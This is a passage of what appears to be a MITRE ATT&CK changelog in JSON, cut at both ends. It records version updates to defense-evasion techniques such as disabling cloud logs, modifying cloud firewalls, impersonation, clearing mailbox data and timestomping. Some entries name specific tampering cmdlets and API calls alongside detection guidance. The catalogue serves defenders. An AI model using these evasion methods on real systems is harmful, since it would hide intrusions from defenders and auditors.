allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Arun Seelagan, CISA\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may disable or modify a firewall within a cloud t1Adversaries may disable or modify a firewall within a cloud 
>environment to bypass controls that limit access to cloud re>environment to bypass controls that limit access to cloud re
>sources. Cloud firewalls are separate from system firewalls >sources. Cloud firewalls are separate from system firewalls 
>that are described in [Disable or Modify System Firewall](ht>that are described in [Disable or Modify System Firewall](ht
>tps://attack.mitre.org/techniques/T1562/004).   Cloud enviro>tps://attack.mitre.org/techniques/T1562/004).   Cloud enviro
>nments typically utilize restrictive security groups and fir>nments typically utilize restrictive security groups and fir
>ewall rules that only allow network activity from trusted IP>ewall rules that only allow network activity from trusted IP
> addresses via expected ports and protocols. An adversary ma> addresses via expected ports and protocols. An adversary wi
>y introduce new firewall rules or policies to allow access i>th appropriate permissions may introduce new firewall rules 
>nto a victim cloud environment. For example, an adversary ma>or policies to allow access into a victim cloud environment 
>y use a script or utility that creates new ingress rules in >and/or move laterally from the cloud control plane to the da
>existing security groups to allow any TCP/IP connectivity, o>ta plane. For example, an adversary may use a script or util
>r remove networking limitations to support traffic associate>ity that creates new ingress rules in existing security grou
>d with malicious activity (such as cryptomining).(Citation: >ps (or creates new security groups entirely) to allow any TC
>Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromise>P/IP connectivity to a cloud-hosted instance.(Citation: Palo
>d Cloud Compute Credentials 2022)  Modifying or disabling a > Alto Unit 42 Compromised Cloud Compute Credentials 2022) Th
>cloud firewall may enable adversary C2 communications, later>ey may also remove networking limitations to support traffic
>al movement, and/or data exfiltration that would otherwise n> associated with malicious activity (such as cryptomining).(
>ot be allowed.>Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 
 >Compromised Cloud Compute Credentials 2022)  Modifying or di
 >sabling a cloud firewall may enable adversary C2 communicati
 >ons, lateral movement, and/or data exfiltration that would o
 >therwise not be allowed. It may also be used to open up reso
 >urces for [Brute Force](https://attack.mitre.org/techniques/
 >T1110) or [Endpoint Denial of Service](https://attack.mitre.
 >org/techniques/T1499). 
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0018: Firewall (Firewall Disable)", + "DS0018: Firewall (Firewall Rule Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-12 13:52:32.846000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Disable or Modify Cloud Logs", + "description": "An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality \u2013 for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user\u2019s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/008", + "external_id": "T1562.008" + }, + { + "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs", + "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.", + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html" + }, + { + "source_name": "AWS Update Trail", + "description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.", + "url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html" + }, + { + "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic", + "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.", + "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/" + }, + { + "source_name": "Configuring Data Access audit logs", + "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.", + "url": "https://cloud.google.com/logging/docs/audit/configure-data-access" + }, + { + "source_name": "Dark Reading Microsoft 365 Attacks 2021", + "description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.", + "url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591" + }, + { + "source_name": "az monitor diagnostic-settings", + "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.", + "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete" + }, + { + "source_name": "Pacu Detection Disruption Module", + "description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.", + "url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee", + "Ibrahim Ali Khan", + "Alex Soler, AttackIQ", + "Janantha Marasinghe", + "Matt Snyder, VMware", + "Joe Gumke, U.S. Bank", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Cloud Service: Cloud Service Modification", + "User Account: User Account Modification", + "Cloud Service: Cloud Service Disable" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-04-12 21:13:56.431000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}, \"root['x_mitre_platforms'][2]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Google Workspace\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Azure AD\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][8]\": \"Arun Seelagan, CISA\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][4]\": \"Office 365\"}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0025: Cloud Service (Cloud Service Disable)", + "DS0025: Cloud Service (Cloud Service Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-08-08 15:42:18.906000+00:00", + "modified": "2024-10-15 15:59:06.382000+00:00", + "name": "Impersonation", + "description": "Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary\u2019s ultimate goals, possibly against multiple victims. \n \nIn many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables [Financial Theft](https://attack.mitre.org/techniques/T1657).\n\nAdversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary\u2019s goal.\u202f\u202f \n \nImpersonation is typically preceded by reconnaissance techniques such as [Gather Victim Identity Information](https://attack.mitre.org/techniques/T1589) and [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591) as well as acquiring infrastructure such as email domains (i.e. [Domains](https://attack.mitre.org/techniques/T1583/001)) to substantiate their false identity.(Citation: CrowdStrike-BEC)\n \nThere is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) targeting one organization which can then be used to support impersonation against other entities.(Citation: VEC)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1656", + "external_id": "T1656" + }, + { + "source_name": "CrowdStrike-BEC", + "description": "Bart Lenaerts-Bergmans. (2023, March 10). What is Business Email Compromise?. Retrieved August 8, 2023.", + "url": "https://www.crowdstrike.com/cybersecurity-101/business-email-compromise-bec/" + }, + { + "source_name": "VEC", + "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.", + "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Pawel Partyka, Microsoft Threat Intelligence", + "Blake Strom, Microsoft Threat Intelligence" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:59:06.382000+00:00\", \"old_value\": \"2023-09-30 19:45:05.886000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1019: Threat Intelligence Program" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:55.892000+00:00", + "modified": "2024-10-15 15:59:22.125000+00:00", + "name": "Indicator Removal", + "description": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.\n\nRemoval of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070", + "external_id": "T1070" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brad Geesaman, @bradgeesaman", + "Ed Williams, Trustwave, SpiderLabs", + "Blake Strom, Microsoft 365 Defender" + ], + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Modification", + "File: File Modification", + "Firewall: Firewall Rule Modification", + "User Account: User Account Authentication", + "File: File Metadata", + "User Account: User Account Deletion", + "Process: OS API Execution", + "Application Log: Application Log Content", + "Command: Command Execution", + "File: File Deletion", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Network Traffic: Network Traffic Content", + "Windows Registry: Windows Registry Key Deletion" + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host intrusion prevention systems", + "Anti-virus" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers", + "Network", + "Office Suite" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:59:22.125000+00:00\", \"old_value\": \"2023-04-11 22:27:54.003000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][6]\": \"Google Workspace\"}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0002: User Account (User Account Deletion)", + "DS0003: Scheduled Job (Scheduled Job Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Rule Modification)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--438c967d-3996-4870-bfc2-3954752a1927", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-08 21:04:03.739000+00:00", + "modified": "2024-10-15 15:43:56.839000+00:00", + "name": "Clear Mailbox Data", + "description": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/008", + "external_id": "T1070.008" + }, + { + "source_name": "Volexity SolarWinds", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "mailx man page", + "description": "Michael Kerrisk. (2021, August 27). mailx(1p) \u2014 Linux manual page. Retrieved June 10, 2022.", + "url": "https://man7.org/linux/man-pages/man1/mailx.1p.html" + }, + { + "source_name": "ExchangePowerShell Module", + "description": "Microsoft. (2017, September 25). ExchangePowerShell. Retrieved June 10, 2022.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes" + }, + { + "source_name": "Microsoft OAuth Spam 2022", + "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "File: File Deletion", + "File: File Modification", + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:43:56.839000+00:00\", \"old_value\": \"2023-04-12 20:56:32.743000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][4]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1029: Remote Data Storage", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-31 12:42:44.103000+00:00", + "modified": "2024-09-30 15:14:56.021000+00:00", + "name": "Timestomp", + "description": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nBoth the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \u201cdouble timestomping\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1070/006", + "external_id": "T1070.006" + }, + { + "source_name": "WindowsIR Anti-Forensic Techniques", + "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.", + "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html" + }, + { + "source_name": "Inversecos Timestomping 2022", + "description": "Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \u2013 NTFS Forensics. Retrieved September 30, 2024.", + "url": "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html" + }, + { + "source_name": "Magnet Forensics", + "description": "Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.", + "url": "https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/" + }, + { + "source_name": "Double Timestomping", + "description": "Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.", + "url": "https://x.com/matthewdunwoody/status/1519846657646604289" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Romain Dumont, ESET", + "Mike Hartley @mikehartley10" + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Modification", + "File: File Metadata", + "Command: Command Execution" + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"root\", \"SYSTEM\", \"User\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 15:14:56.021000+00:00\", \"old_value\": \"2020-03-29 21:39:46.724000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\\n\\nBoth the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\\n\\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\\n\\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \\u201cdouble timestomping\\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\\n\\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)\", \"old_value\": \"Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\\n\\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,9 @@\\n-Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.\\n+Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\\n+\\n+Both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\\n+\\n+Modifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\\n+\\n+Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \\u201cdouble timestomping\\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\\n \\n Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Inversecos Timestomping 2022\", \"description\": \"Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \\u2013 NTFS Forensics. Retrieved September 30, 2024.\", \"url\": \"https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html\"}, \"root['external_references'][3]\": {\"source_name\": \"Magnet Forensics\", \"description\": \"Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.\", \"url\": \"https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/\"}, \"root['external_references'][4]\": {\"source_name\": \"Double Timestomping\", \"description\": \"Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.\", \"url\": \"https://x.com/matthewdunwoody/status/1519846657646604289\"}, \"root['x_mitre_contributors'][1]\": \"Mike Hartley @mikehartley10\", \"root['x_mitre_data_sources'][0]\": \"Process: OS API Execution\", 